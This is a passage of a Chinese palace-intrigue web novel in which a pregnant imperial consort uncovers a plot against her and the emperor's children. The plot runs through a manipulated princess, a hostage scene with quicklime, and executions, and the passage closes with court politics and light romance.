沈婕妤有些不明白,都已经这个点了,昭贵妃为什么还要将她召到承乾宫来说话。 她有些局促不安地站在下首的位置,头都不敢抬。而上首的昭贵妃既不说话也不看她,仿佛站在这位娘娘面前的不是一个人,而是空气。 也不知道过了多长时间,沈婕妤终于忍不住开口了。 “昭贵妃娘娘,如今天色已晚了,臣妾还要回宫哄两位皇子睡觉,娘娘若是有什么话,还是早些说吧。” “看来沈婕妤还记着之前在潜邸时圣上警告你的话啊,本宫还以为你如今进了宫当了宫妃就忘得一干二净了呢!” 眼见着沈婕妤终于忍不住开口,夏韶宁也懒洋洋地出声了。 “贵妃娘娘若是有事吩咐,臣妾就站在这里洗耳恭听便是,您没必要对着臣妾如此这般阴阳怪气!” 沈婕妤这人,一直以来都有些自命不凡。当初萧祈安定位份的时候,她总以为凭着她生了两个儿子怎么着也能封个九嫔,说不准运气好还能往四妃上走一走。 可是当圣旨真的下来的时候她才得知,她居然连只养育了一个公主的谢妩都比不上,气得她三天都没有跨出房门。 她实在是觉得太丢脸了。 如今站在下首听得夏韶宁的这番明晃晃的嘲讽,她心中也是一团火。 “这么些年了,沈婕妤还是一如既往的气性大啊。” 听得沈婕妤这般语气不好,夏韶宁倒是也不生气。她缓缓地站起身来朝着沈婕妤走了过去,只不过,她这会儿的目标却是站在沈婕妤身后的芳芸。 “说说吧,你家主子是怎么吩咐你去刻意接近大公主,你又是怎么忽悠着让大公主在三皇子的衣裳上动手脚的?” 夏韶宁一开始说话还是懒洋洋的,直到说到大公主往三皇子的衣裳上动手脚,她的语气便陡然严厉了起来! “贵妃娘娘您说什么呢?什么接近大公主?什么往三皇子的衣裳上动手脚?臣妾……怎么听不懂您在说什么?” 沈婕妤一开始还以为夏韶宁找她来是为了朝着她摆威风磋磨她,这会儿听到夏韶宁的这番话,吓得脸色瞬间就变得苍白起来。 她转过头来看着跪在地上的芳芸,却见她一直不肯出声,这会儿却是真的慌了起来。 “芳芸!这到底是怎么一回事儿,你说话啊!” 眼见着沈婕妤慌了起来,芳芸却并不理她,而是忽然如同发了疯一般对着夏韶宁就拼命地磕起头来。 “昭贵妃娘娘饶命啊,这一切都是沈婕妤吩咐奴婢做的,并非奴婢自愿的!求贵妃娘娘开恩,饶过奴婢吧!!” “本宫给你最后一个机会,把你做过的事情一五一十交代清楚。若是有一点不符合实际情况的,本宫即刻就能要了你的命!” 夏韶宁站起身来,厉声对着跪在地上的芳芸一字一句地呵斥道。 “奴婢不敢!奴婢不敢!”芳芸又朝着夏韶宁磕了几个头,这才哆哆嗦嗦地开口了。 “是沈婕妤嫉妒昭贵妃娘娘您如今得宠又有孕,怕您生下孩子抢了四皇子和五皇子的风头,这才让奴婢想办法去接近大公主,从而一点点诱导让大公主恨上了您。” “沈婕妤让奴婢游说大公主往三皇子的衣裳上抹了能让人长疹子的药,而后又让人将三皇子引到千里湖边,只等着贵妃娘娘赶到湖边之后再让大公主趁乱将您推到湖里去,最好让您一尸两命才好!” 芳芸虽然面上一副十分害怕的样子,可是说起话来却口齿清楚,甚至连一个磕巴都没有打。 很显然,芳芸说的一切都与一开始夏韶宁的设想一模一样,所以她倒是并没有对这番供词感觉很意外。 可是站在一旁的沈婕妤听完芳芸的话,本就苍白的脸如今更是一点儿血色都无了,整个人猛地就开始发起抖来! 她伸出手来指着芳芸指了半晌,却气得什么话都说不出来。等了好一会儿,这才十分艰难地憋出了一句—— “你这贱婢是受了谁的指使,竟然敢这般污蔑我!” “主子!这些事情都是您一字一句交代奴婢去做的!如今东窗事发,您可不能把罪名都推到奴婢身上啊!” 芳芸看着沈婕妤这般着急忙慌地想把自己摘出来,彻底慌了。 她跪在地上思考了一会儿,这才又对着夏韶宁磕头道,“贵妃娘娘若是不信,大可以让人去搜一搜沈婕妤的房间,那能人身上起疹子的药,就藏在沈婕妤的妆奁里!” “李顺,你立刻带人去钟粹宫给本宫搜!” 听得芳芸这番话,夏韶宁立刻转身对着候在一旁的李顺吩咐道。李顺会意,转头就带着手底下的内侍们往钟粹宫去了。 这会儿的沈婕妤已经没办法站稳了,如今她已经吓得跪坐在地上,一句话都说不出了。 夏韶宁瞥了她一眼,一时之间倒是不能确定这女人是不是在演戏。 她皱着眉头想了会儿,最后觉得还是先看看再说。 也没过多长时间,李顺便脚步匆匆地回了承乾宫。只是这会儿入了殿的时候,手上却多了个纸包。 “娘娘,奴才在沈婕妤的妆奁里找到了这个。”李顺伸出双手,将那个纸包递给了夏韶宁。 夏韶宁对着辛夷使了个眼色,辛夷便接了过来。 只见她小心翼翼地将纸包打开,伸出拇指和食指拈了点纸包里的东西往鼻子旁边闻了闻,只一会儿,辛夷便对着夏韶宁肯定道,“娘娘,不会错!这是曼陀罗的根茎制成的粉末,寻常人只要沾上一点儿便会全身红疹,热痒难耐!” 一席话落,殿内所有人都呆住了。 “好得很,好得很啊!”听完了这整件事情的来龙去脉,夏韶宁感觉自己的后槽牙都快咬烂了。 她一步一步走到了沈婕妤的跟前,厉声道,“当初在潜邸的时候,本宫只觉得你这人心思多,但是你好歹没那害人命的胆子。没想到如今进了宫成了宫妃,你的胆子也变大了!” “你自己也是两个孩子的母妃,怎么就能狠心做出这般利用别人的孩子来陷害本宫的事情?!” “蕙心,将这两人押到紫宸殿去!后宫里发生了如此恶劣的事情,要如何处置,是该由圣上好好定夺了!” 第一百九十七章 还是有疑点 “陛下,昭贵妃娘娘来了。” 已近戌时末了,萧祈安仍伏在案桌上批折子。听得张全和通报说夏韶宁来了,他心中倒是隐隐有些意外。 宁儿甚少这么晚还来紫宸殿找他。 “传她进来。”停了笔,萧祈安抬头对着张全和道。 谁知得了话的张全和并没有立刻转身出去通传,而是站在原地一副为难的样子。 “怎么回事?”瞧着张全和这副样子,萧祈安心中更是奇怪了。他想了一会儿,便丢了笔站起身来自己往门口去了。 “陛下,您别急,贵妃娘娘她不是一个人来的,沈婕妤也跟着……” 还没等张全和把话说完全,萧祈安已经伸手将紫宸殿的门打开了。 门一开,映入眼帘的就是满脸怒气的夏韶宁,以及哭得满眼是泪的沈婕妤。 “你怎么来了?”很显然,这话是对着沈婕妤问的,自从下药那件事以后,萧祈安就已经很不耐烦见到这个女人了。 “宫廷丑事,陛下,咱们还是进去说吧。” 这会儿的夏韶宁虽然生气,但是她的脑子还是清楚的。这件事情毕竟涉及大公主,她不希望被有心人听到从而传得满后宫都知晓了。 听得夏韶宁的话,本就面无表情的萧祈安这会儿面上的神情更加严肃了。 他的目光在两人脸上转了一会儿,最终还是开口道,“那就进去说!” 几人入了殿,刚一站定,夏韶宁就开口了。 “陛下,前段时间臣妾落水以及三皇子身上莫名长疹子的事情,已经有眉目了。” 一听得夏韶宁今日是为着这件事情来的,刚想坐下的萧祈安瞬间就站了起来。 他没说话,只是直直地看了夏韶宁一眼,夏韶宁会意,转头对着芳芸道,“把你刚刚在承乾宫说的话一字一句说给陛下听!” 这会儿的芳芸也是怕到了极点,但是如今到了这个份上,她也就只能豁出去了。 于是她便立刻跪下身来,一边朝着萧祈安磕头,一边把刚刚的事情又复述了一遍。 当然,和在承乾宫时说给夏韶宁听的一模一样。 “沈婕妤,你有什么要说的?” 听得芳芸的话,萧祈安这会儿已经是火冒三丈了,但是理智还是告诉他他还是应该听一听沈婕妤有什么要说的。 毕竟,他绝对不做那种冤枉女人的事情。 沈婕妤本来都觉得自己死定了,听得圣上居然给了她一个辩解的机会,她忙不迭地就跪了下来。 “陛下明鉴啊,臣妾真的不知道这是怎么一回事儿!臣妾用自己的性命发誓,臣妾真的没有做过这件事儿!” 沈婕妤这会儿虽然很害怕,但她的脑子却异常清楚。 她明白这是萧祈安给她最后的机会了,若是她不能好好抓住,她怕是等不到天亮就要被打入冷宫了! 所以这会儿虽然她看起来一副脆弱不堪的样子,但是说起话来却十分坚定且有条理。 “臣妾知道圣上不喜臣妾,但是若是有人要把臣妾没做过的事情扣到臣妾头上,臣妾也是不依的!” “首先,这芳芸并不是臣妾从潜邸带进宫的人,她的身家背景臣妾并不知道,所以也从不信任她不叫她做近身的事情。再者,她在臣妾身边服侍还不到一年,就算臣妾起了要害人的心思,为何不让自己信任的心腹去,而偏要让她一个并不得臣妾信任的人去呢?” “而且最重要的事是,臣妾自知自己不得宠,连带着四皇子五皇子也不得宠。所以不管昭贵妃能不能生下这个孩子,反正臣妾的两个孩子注定都是不得宠的,那臣妾又何必冒着如此大的风险去做这种伤敌一千,自损八百的事儿呢?!” 这会儿的沈婕妤已经不哭了,她只是有些倔强地跪在地上,一点一点地将自己分析出来的事情说给萧祈安和夏韶宁听。 果然,沈婕妤一席话落,萧祈安和夏韶宁都沉默了。 特别是站在一边的夏韶宁,她居然觉得沈婕妤的话很有道理。 再仔细想一想刚刚在承乾宫里芳芸说的话做的事,好像的确经不起细细推敲。 沈婕妤又不是吴美人那种蠢货,她日常虽然不太爱说话,但是夏韶宁明白她这人的心思可深着呢。 她就算要用药害人,也没道理害完了人以后还故意把药放在自己日日要用的妆奁里吧?难道她真的就如此胆大到一点儿都不怕东窗事发查到她的身上吗? “陛下,如此看来这件事儿的确是有些疑点,今夜……是臣妾莽撞了。” 眼见着萧祈安听完了沈婕妤的话一直都没有出声,夏韶宁便准备跪下身来朝着萧祈安请罪了。 只是她的膝盖只是稍稍弯了弯,就被萧祈安一把拉了起来。 “无妨,说来说去都是朕不好,宁儿受了委屈,朕也没及时去查清楚,还要宁儿怀着孕操心这些糟心事儿!” 萧祈安将夏韶宁拉了起来,说话的语气到底还是弱了下来。 面对这丫头,萧祈安实在没办法对她凶起来。 “不管怎么说,这件事总是与沈婕妤有关,从明日起沈婕妤就禁足于蒹葭阁,待这件事情查清楚再行下一步定夺。” 萧祈安松开夏韶宁的手,转头厉声对着沈婕妤道,“你可有异议?” “只要陛下早日查清事实的真相,还臣妾一个清白,不管要臣妾禁足多久都无妨,臣妾没有异议。” 听得萧祈安对自己的处置,沈婕妤没再多说一句。她只是朝着萧祈安又磕了一个头,转身就被张全和带了下去。 “至于这个宫女……”眼见着沈婕妤被带了下去,萧祈安又将目光投到了如今已经瑟瑟发抖的芳芸身上。 “就把她关到永巷去吧,想来永巷里的那些嬷嬷,有的是办法能让她吐出真话!” “陛下饶命啊……陛下饶命啊……求您不要把奴婢送到永巷去啊!求您留奴婢一条命吧!” 萧祈安的话音刚落,便有内侍架着芳芸将她从紫宸殿了拖了出去。直到她已经被拖出很远了,夏韶宁似乎还能隐隐约约听到她那般撕心裂肺求饶的声音。 不知为何,她忽然就觉得,好像有些累了。 第一百九十八章 居然是她 一番闹腾之后,这个时候的紫宸殿又恢复了以往的平静。 “宁儿是不是累了?”萧祈安抬眼瞧着夏韶宁似乎面色不大好,于是心中便也有些担心。 他走到夏韶宁身边轻轻拉过她的手,小声道,“天晚了,不要来回折腾了,今夜朕陪你宿在紫宸殿好不好?” “好。”此时的夏韶宁的确不愿意再走回承乾宫了,听得萧祈安这么说,她自然顺势答应了下来。 见她答应,萧祈安也不忙着批折子了,扶着她就往内殿去了。 两人一番洗漱以后,这会儿便已经躺在了床上。只是很明显,此时的两人都毫无睡意。 “是朕没有教好孩子,心若才会变成那个样子。” 两人并排躺了好一会儿,黑暗中的萧祈安却突然出声了。 “这件事情其实也不怪大公主,她不过一个不到六岁的孩子,只是被人挑唆了才会盲目地恨上了臣妾。” 夏韶宁的脸上没有什么表情,说话的语气也是淡淡的。 “只是她到底差点害了臣妾的孩子,所以臣妾也没办法说出原谅她这种话。退一步说,就算臣妾能原谅她,臣妾相信臣妾腹中的孩子也不会原谅她。这一次臣妾与孩子没有出事是因为我们运气好,而不是她的运气好。陛下,您能明白臣妾的意思吗?” 萧祈安知道自从夏韶宁上次落水以后心中就一直憋着一股气,而后自己又没有及时的去查清这件事情给她反馈。所以哪怕如今夏韶宁说出这番话,萧祈安非但不会怪她,甚至还有些心疼她。 “以后重华宫里的事情,就让母后多费些心吧,那两个孩子……也多让母后管一管。” 萧祈安这话其实已经说得很直白了,夏韶宁也听明白了。 “是,既然陛下今日说了这番话,那臣妾以后就离重华宫远一些。” 对于萧祈安这番话,夏韶宁并没有觉得生气,她甚至觉得松了一口气。 从前一直照看着大公主和三皇子,实在是因为如今她手中握着这主理六宫的权利,若是自己不管不顾怕其他人会多嘴。再一个也算是念着与孝端皇后相识一场,为她做最后一件自己能做的事罢了。 既然如今萧祈安这么说了,她以后就再也不用管重华宫那些事了。 毕竟她可没那种死乞白列非要对着个想要害自己的白眼狼小孩好的癖好。 于是这个晚上,两人什么都没有做,久违的彼此依偎着睡了个好觉。 *** 若是说大理寺是宫外的人犯了罪最害怕去的地方,那永巷就是宫里的人犯了错最不想去的地方。 芳芸被送去永巷不过三日,永巷的嬷嬷就从她嘴里把事情的真相统统给撬了出来。 萧祈安和夏韶宁看着呈上来的芳芸的口供,两个人的脸上都露出了难以置信的神情。 两个人对着那份口供沉默了很久,最后还是萧祈安开口对着她道,“走吧,和朕一道去一趟同道宫吧。” 同道宫。 说实话,入宫快一年了,夏韶宁从来没有来过这个地方。 夏韶宁站在同道宫的殿外,明明这里的院子很大,洒扫的宫人也将这里打扫得很干净,可是她还是觉得整个同道宫中都散发着一股微微腐烂掉的味道。 她忍不住拿起手里的帕子捂住了口鼻。 “给陛下请安,给昭贵妃娘娘请安!” 两人在殿外站了好一会儿,这才看见一个内侍模样的人慌慌张张地从里头跑出来给两人请安。 “大白天的,整个殿外一个人都没有,你们都做什么去了!” 萧祈安瞥了一眼那个内侍,说话的语气忽然严厉了起来。 “陛下恕罪……是这里住的太妃娘娘们不喜欢宫人们没事在院子里瞎晃悠,所以……所以奴才们这才都回屋子里去了!” 眼见着圣上生气了,这个内侍便急忙跪下身来朝着他解释道。 “罢了陛下,您瞧着这院子打扫得这么干净,这宫里的宫人应该也没有偷懒,咱们还是办正事要紧。” 眼见着萧祈安仍要开口,站在他身旁的夏韶宁适时的拉住了他的手。 萧祈安的火气这才慢慢降了下来。 “德太妃住哪个屋子?”萧祈安缓了缓情绪,转头对着那内侍询问道。 “德太妃住在安和楼,奴才这就带陛下和贵妃娘娘去!” 听得萧祈安的问话,那内侍一刻也不敢耽误,转身就带着夏韶宁和萧祈安往安和楼去了。 夏韶宁和萧祈安来到安和楼的时候,德太妃正眯着眼睛坐在院子里晒太阳。 听得耳边传来了来人的声音,她却连头也没有抬,仍旧保持着同样的姿势继续坐着。 夏韶宁抬起头来端详起了眼前的德太妃,猛然发现如今的她已经和几年前自己在皇家马场见到的她完全不同了。 她的鬓边不知何时早已爬满了白发,从前保养得宜的脸上也多了许多的皱纹。 远远看去,真真是个已经上了年纪的老太太了。 “德母妃的心理素质还真是不错,您差点一石三鸟害了朕的妃子和孩子,如今倒是还能这般悠闲地坐在这晒太阳!朕可真是不得不佩服您!” 萧祈安抬脚走到了德太妃的跟前,强迫她必须面对自己。 “陛下如今都当上皇帝了,倒是不爱与从前那般装模作样了。” 听得萧祈安这般明显生气的语气,德太妃这才不紧不慢地睁开了眼睛。 只是她依旧坐在椅子上,根本没有想要起身的意思。 “朕没那么多时间同你打哑谜,芳芸已经招了,说她从前就是在你身边伺候的!是你让她刻意去接近大公主,忽悠着让大公主给三皇子下药。又利用大公主对昭贵妃的恨意让她将有孕的昭贵妃推入千里湖,最后再让芳芸将一切罪名都推到沈婕妤的身上!” “德太妃啊德太妃,说起来您从前在父皇后宫里的时候倒是个安分守己的主,没想到您的心计倒是一点儿不比先皇后差!您说朕会装,朕倒是瞧着您才是最会装的吧!” 萧祈安站在德太妃的面前,居高临下地将芳芸的供词一字一句地说给了德太妃听。 说起来真的谁都未曾想过,这整件事的幕后黑手,居然会是她! 第一百九十九章 不仁慈 “陛下这话说得我可就不明白了。怎么,这个世界上只有你的孩子是人,别人的孩子就不是人了吗?” 听得萧祈安这一字一句的指责,本还安安静静地坐在椅子上的德太妃,缓缓地站了起来。 她的个子没有萧祈安高,背也有些驼了,但是此时的她仍是倔强地抬起头来目视着萧祈安,眼睛里带着满满的不屑。 “说起来,废太子和我儿输就输在从不懂得在先帝身上下工夫。若是他们能做到三分你这种假仁假义的表面功夫,这皇位上现在坐着的是谁,还不一定呢!” “可怜我儿被先帝软禁在五皇子府里,如今都快一年了,连个盼头都没有。世人都说光启帝仁慈,可是你居然连自己的哥哥都不顾,任由他在那小小的皇子府里自生自灭!我就不懂了,你到底哪里仁慈了?!” “所以我恨你,我恨你凭什么能美人在侧,儿女环绕!我要毁了你,毁了你所拥有的一切!因为这一切,原本就该是我与我儿拥有的!” 德太妃一开始说话的时候语气还算平静,直到说到五皇子如今仍被软禁在五皇子府的时候,她整个人就变得激动起来,说话的语气甚至有些癫狂了。 “呵,德太妃这话说得可真叫一个简单!您的儿子,朕的五哥他是因为犯了严重的错误被先帝软禁在五皇子府的!您可搞清楚,他从前可是废太子那一党的!” “朕登基以后非但没有治他一个谋反同谋的罪,还能好好留他一条命让他在府中苟活着,这难道还不叫对他仁慈?” 看着德太妃那般激动的样子,此时的萧祈安从心底里觉得好笑。 他靠近德太妃盯着她看了半晌,忽然就扬起了嘴角冷笑道,“只是如今……朕忽然就改变主意了。事到如今,您与您的儿子,朕一个都不会留!” 萧祈安只要想到眼前的这个女人,居然利用他只有六岁的女儿去害他最爱的女人,差点害得宁儿一尸两命,他就恨不得此刻就将这女人千刀万剐,以解心头之恨! “你敢杀我?我的哥哥可是前太子少师!我们孟家祖上可是大容的开国功臣!你师出无名就这样杀了我与我儿,你就不怕引起朝中那群旧臣与世家的公愤吗?!” 眼见着萧祈安这回是来真的,刚刚还一脸得意的德太妃,脸色瞬间就变得苍白起来。 她仿佛不相信般站在原地呆愣了好一会儿,忽然就以迅雷不及掩耳之势猛地冲到了站在一旁的夏韶宁的身后,不由分说地从腰间摸出一把匕首直直地就抵到了她的脖子上! 夏韶宁听得萧祈安与德太妃的对话,一开始只是默默地站在一旁并不想出声。只是还没等她反应过来眼前发生了什么,忽然就感觉颈脖上有一个冰冷而尖锐的东西抵了过来,她瞬间倒吸了一口凉气,站在原地一动都不敢动。 “你这疯女人,你要做什么?”眼前的意外发生的太过突然,等到萧祈安反应过来的时候,夏韶宁已经被德太妃牢牢地禁锢在了怀里。 “你不是想要我与我儿的命吗?好啊,既然这样,大不了让你最爱的女人和你那未出世的孩子给我们陪葬!如此我们也死的不亏了!” 此刻的德太妃,早就已经失去了基本的理智。只见她一只手死死地圈住了夏韶宁的脖子,另外一只手则是牢牢握着那把匕首。 这会儿的夏韶宁,大脑忽然就感觉到一片空白。但是这种空白的感觉也就持续了几秒钟,她便立刻回过了神来。 “太妃,您刚刚明明说了,陛下这会儿若是要杀了你,那是师出无名。可是若是你今日杀了我,那便不叫师出无名了。” “劫杀宫妃可是诛九族的死罪,五皇子还有那么多孩子,您难道就忍心看着这些孩子因为您的原因小小年纪就身首异处吗?” 夏韶宁虽然心里已经慌的不行了,但是此时说话的语气却是比以往任何时候还要镇定。 “呵,你休想拿这种鬼话来糊弄我!就算我今日不杀你,到时候我与我儿死了,我儿的那些孩子一样也是个死字!他萧祈安就是个假惺惺的伪君子,他怎么可能会放过我们?!” 这头的夏韶宁虽然循循善诱,但是眼前的德太妃却意外地不为所动。她在宫里生活了这么多年了,怎么可能会因为夏韶宁这几句不痛不痒的话就妥协呢? “不是的!太妃您还记得废瑞王的嫡子吗?当初废瑞王和叶家犯了那么大的罪,先帝要杀了废瑞王所有的孩子,是陛下偷偷将那个孩子救下来了,偷偷放在宫外找人养着的!” 听得德太妃的这番话,夏韶宁便立刻将心中早就想好的话说了出来。 果然,夏韶宁这番话说完,她便能感觉到德太妃禁锢着她的那只手稍微松动了一下。 也就是因为这番松动,夏韶宁顺利将手摸到了自己的腰间,摸出一包生石灰狠狠地就朝自己的身后洒去! 德太妃根本就没有想到眼前这个看似柔柔弱弱的女子居然会随身携带生石灰这种东西,这会儿被夏韶宁洒了满身满眼,瞬间就感觉到自己的眼睛火辣辣地疼。 “你这贱人,居然敢算计我?你不得好死!” 德太妃吃痛,痛苦地倒在了地上,只是嘴里还在不住地咒骂着此时已经躲的老远的夏韶宁。 “呵,你自己都说了,陛下是不可能会放过你们的,你又怎么会觉得陛下他会违背先帝的意思冒险去救下废瑞王的孩子呢?” 夏韶宁抬头看了一眼萧祈安,却见这会儿的他面上居然是满满的笑意,于是她说话的胆子更大了。 她稳了稳心神,缓步走到了此时早已被裴言控制住的德太妃面前,语带嘲讽道,“只是你说了那么多,有一句话是完全正确的。” “咱们这位陛下,他还真不是个仁慈的主。只是实在不好意思,作为他的贵妃,我还就喜欢他这种不仁慈。” “因为啊……”说到这儿,夏韶宁也笑了。 “我夏韶宁,从来也不是个多仁慈的人啊!就在你满腹怨恨抱怨别人对你们不仁慈的时候,你们有没有哪怕一刻摸着你们自己的良心想一想,你们这种人,配得到别人的仁慈吗?!” 第两百章 矛盾 光启元年十一月初五,先帝朝五皇子萧祈贺与其母德太妃密谋刺杀光启帝失败。 帝虽大怒,但念及萧祈贺毕竟是其兄长,德太妃更是其长辈,不忍要其性命。 只是朝中以丞相燕川等文官为代表,冒死直谏要求圣上处置了这两个恶人,不然朝中众人总归会担心圣上的安全问题,这两人始终是个隐患。 而出乎萧祈安意料之外的是,德太妃的母家孟家,居然也站在了燕川那一边。 德太妃的长兄孟怀英,甚至跪在了紫宸殿外,痛哭流涕向圣上陈情因为父亲早亡,自己这个做长兄没有教导好妹妹,这才导致他这个妹妹与外甥做下了这等不可饶恕的事情。 他请求圣上从重发落萧祈贺与德太妃,也坦言若是圣上仍旧心中有气,也可以从重处罚孟家。只是无论圣上对孟家有任何处罚,他孟怀英一应承担便是。 一时之间,萧祈贺与德太妃成为了大容朝堂与坊间人人喊打的过街老鼠。 于是半月后,萧祈安最终决定了对两人的处置。 萧祈贺与德太妃母子即刻斩首示众,萧祈贺的妻妾子女,成年的流放漠州,十岁以下未成年的皆没入教司坊为奴。 孟怀英举家外放越州,十年内不得升迁,考核不得评优。后续根据其表现再行其他决定。 …… 就在处置完萧祈贺与德太妃以后,萧祈安转头带着夏韶宁去了太后的永寿宫。 “给母后/太后娘娘请安。”两人入了殿来,给太后行了一礼。 这会儿的太后正坐在上首,手中抱着一只毛色雪白的猫儿。看着萧祈安旁若无人地牵着夏韶宁入了殿来,她的眉头瞬间就皱了起来。 “圣上许久不来永寿宫了,今日来是有事儿?” 太后摸了摸那只猫儿的背,轻轻地将那猫儿就丢了下来。那猫儿轻巧一跃,一双琉璃般的眸子忽然直直地往夏韶宁身上投来,口中忽然就发出了几声“喵喵”的叫声。 被这猫儿一叫,夏韶宁却不知为何忽然感觉身体有些僵硬了起来。 萧祈安感受到了夏韶宁此刻的紧张,于是他立刻往前跨了一步,直接将夏韶宁与太后隔了开来。 “是,朕如今的确是有件急事要麻烦母后。” 萧祈安根本懒得听太后的唠叨,直接就准备单刀直入了。 “昭贵妃有孕,日常管理六宫之事就已经耗费了她太多的精力,而如今重华宫里那两个孩子还一个赛一个的不省心。” “所以朕想着大公主与三皇子日后还是要多多麻烦母后照看着,也让昭贵妃安心养胎,好平安诞下皇嗣才是要紧事。” “呵,既然圣上这么说了,那哀家倒是想劝圣上一句,您做事也不要太偏心了!” 眼见着萧祈安自从入了殿以后,除了对着自己请了个安以后丝毫不顾及自己的面子,太后心中早就不悦了。 “大公主和三皇子怎么说都是孝端皇后的孩子,你就算偏心其他人,也不该做得这么明显才对!” “母后什么都不知道,倒是好端端给朕安上了个偏心的帽子,也是可笑!” 萧祈安今日本就是准备带着夏韶宁来知会太后一声的,却没想到他才说了一句话,太后就给他安上了个偏心的帽子。 他的脸上一下子就挂不住了。 再者退一万步说,他就是偏心怎么了?他是皇帝,难不成他连喜欢谁不喜欢谁的权利都没有了? 眼见着这两母子还没说上一刻钟的话又是一副剑拔弩张的样子,站在一旁的夏韶宁忽然觉得自己这会儿的存在很尴尬。 她本能地想要退出去,不想掺和这两母子之间的争吵。只是此时她的手被萧祈安牢牢拉住了,她的心想走,但是手却一点儿抽不出来。 “反正朕今日来就是通知母后的,以后大公主和三皇子若是出了什么事儿,朕第一时间就会来永寿宫寻母后!还有,您不要因为朕的原因就迁怒于昭贵妃,她凡事都是以朕的话为先的,朕让她做什么她就做什么,她什么都不知道!” 话说到这个份上了,萧祈安也就不耐烦继续待在这里了。他面无表情地对着太后说完了这番话,便拉着夏韶宁从永寿宫离开了。 “梅青!你看啊,这就是哀家教出的好儿子!早知道他当上皇帝是这个德行,哀家当初倒是不如站在先皇后那一边!死了就死了,倒是不用如今这把年纪了还受这种气!” 眼见着萧祈安头也不回地就离开了,此时的太后感觉自己的肺都快气炸了。 “哎呦,太后娘娘您这说的叫什么话?!这些年了您怎么就是学不会呢?奴婢不是同您说了好多遍了,圣上他说什么,您顺着他的话说不就行了!都是亲母子,您与他置什么气啊!” 眼见着太后气成了这般样子,已经伺候了她几十年的梅青姑姑也忍不住重重地叹了一口气。 这么多年了,太后娘娘和圣上这两母子的关系,看样子倒是越来越差了。 “罢了,他要哀家管孩子哀家管着就是了!你现在就去重华宫把大公主和三皇子接到永寿宫来,从今以后,这两个孩子就是哀家的!他们的父皇不疼他们,哀家这个祖母疼!” 且说那头的萧祈安怒气冲冲地拉着夏韶宁回了承乾宫,这会儿正坐在椅子上一声不吭。 “被说偏心的人是臣妾,陛下生这么大的气做什么?” 看着眼前的萧祈安板着一张脸,夏韶宁心中只觉得好笑。 “朕不喜欢人家说你,太后也不行!” 这个时候的萧祈安,整个人看起来像一只炸了毛的猫。 “您不需要生如此大的气啊,您只要把您的诉求同太后娘娘说清楚就好了,其他的让太后娘娘自己决定怎么做就行了嘛!” 夏韶宁挨着萧祈安坐了下来,轻轻地拉了拉他的手,“好啦,别生气了。” 被夏韶宁这般软言软语哄了一会儿,萧祈安心中的气倒是好像消了不少。 眼见着萧祈安渐渐平静了下来,夏韶宁顿了好一会儿,还是决定将自己在心里想了许久的一件事情同他商量一番。 “既然陛下不生气了,臣妾这会儿正好有件事儿想同陛下商量一下。” 第两百零一章 放权 “刚刚在永寿宫的时候,陛下有句话说得很对。臣妾如今有孕了,管理六宫之事难免有些力不从心。所以……臣妾想着,能不能从后宫的姐妹中挑些人出来帮一帮臣妾,也好叫臣妾轻松些。” 夏韶宁一边说,一边忍不住扯着萧祈安的手就晃了起来,说话的语气也带了些撒娇的意味。 “你这丫头倒是多少年如一日的不愿意管事啊!”看着夏韶宁这个样子,萧祈安也忍不住伸出食指来点了点她的头。 “以前在潜邸的时候你就想方设法地不愿意管家,如今朕把权利都塞到你手上你还想着要分出去,你可真行!” 话虽然是这么说了,只是萧祈安却一点都没有生气的样子,语气里甚至带了些许宠溺。 “既然你这么说了,那你心里肯定也有人选了,说说吧,你怎么想的?” “这事儿哪里是臣妾想让谁管就让谁管的啊!这整个大容皇宫都是陛下的,当然陛下说什么就是什么啦!” 虽然萧祈安宠着她,但凡她提出的请求他也鲜少有不答应的。但是夏韶宁心里可有一杆秤,什么事说出来是无伤大雅的,而什么事又是不能在萧祈安面前逾矩的,她心里可门儿清。 果然,听得夏韶宁这番“拍马屁”的话,萧祈安的面上便露出了笑容。 “朕知道你不喜欢上头那几个,你放心,朕不会把权利放给她们的。” 萧祈安并没有点名,但是彼此心里都明白这上头那几个指的是哪些人。 “苏修媛出身有名的江州苏家,他的父兄同你的父兄一样都是朝中难得的文臣清流。且她性子安静,跟着朕这些年了也没做过什么出格的事情,让她帮你分分忧也是好事。” “不过朕也知道,在这后宫里你也就同谢充媛一人关系好些,且她自从养育了二公主以后性子倒是比从前好了许多。那就让她跟在苏修媛的身边也学一学,若是有些什么事情也好及时告诉你。宁儿觉得可好?” 听得萧祈安这般考量与分析,夏韶宁倒是也没什么不满意的。 其实她说出这话之前也猜到了萧祈安大概率会把这件事情交给苏修媛去做,只是她没想到萧祈安为了让她安心,还把谢充媛捎带上了。 这对谢充媛来说,倒是算得上是意外之喜。 “陛下字字句句都在为臣妾考虑,臣妾哪还有觉得不好的!” 听完萧祈安的话,夏韶宁便伸出手来环上了他的脖子,脸上的表情也是十分开心的样子。 “如今什么事都没有你的身体健康和你肚子里的孩子重要,以后若是再有什么事,直接同朕说就好了,朕都依着你。” 萧祈安将夏韶宁拉进了怀里,随即在她耳边喃喃道,“你有孕的日子朕可太难挨了,这里都要憋坏了!” 他扯着夏韶宁的手,顺着自己的胸口一路往下,摸着摸着……夏韶宁的脸霎时就红了起来。 “嗯……那臣妾……臣妾想办法帮陛下舒缓一番,您看成不成……” 面前脸红的夏韶宁还没将口中那有些烫人的话说完,忽然感觉整个人就被萧祈安小心翼翼地腾空抱了起来! “宁儿也太害羞了,自你有孕以后朕每次与你在一起的时候都想听你说这句话,但是每次都不说!今日可算是说了句合朕心意的话了!” “哎呀,陛下您好不知羞啊……这种事儿……怎么能总是挂在嘴边呢……” 剩下的事情就暂时按下不表了,帐子内自然又是一番好风景…… 某人时隔几个月,终于得到了一次心灵和身体的双重释放。 *** 当圣上让苏修媛和谢充媛共同协理六宫的旨意下来的时候,后宫又炸了一次锅。 这件仿佛风如标一样的事情,让后宫众人的心思又开始活跃了起来。 许多人都在猜测,昭贵妃是不是做了什么事情惹圣上不开心了,要失宠了?不然圣上为何好端端地要把她手中的权利分给别人呢? 当然,被圣上选中的苏修媛和谢充媛,这会儿也是一副摸不清头脑的样子。 谢充媛这人性子本就急躁,如今忽然这么大的一件事落到了她的头上,她莫名的就觉得有点心慌。 “主子,您已经在院子里来来回回走了半个时辰了,您……真的没事儿吗?”星罗看着眼前的谢充媛一副慌张的样子,只觉得有点摸不住头脑。 而此时的谢充媛根本就没听进星罗的话,她继续来来回回在院子里走了好一会儿,忽然就停了下来。 “吩咐云织看好二公主,你陪我去一趟昭贵妃娘娘的承乾宫。” 她转过身来看了星罗一眼,随即便转身进屋换衣裳去了。 承乾宫宫门外。 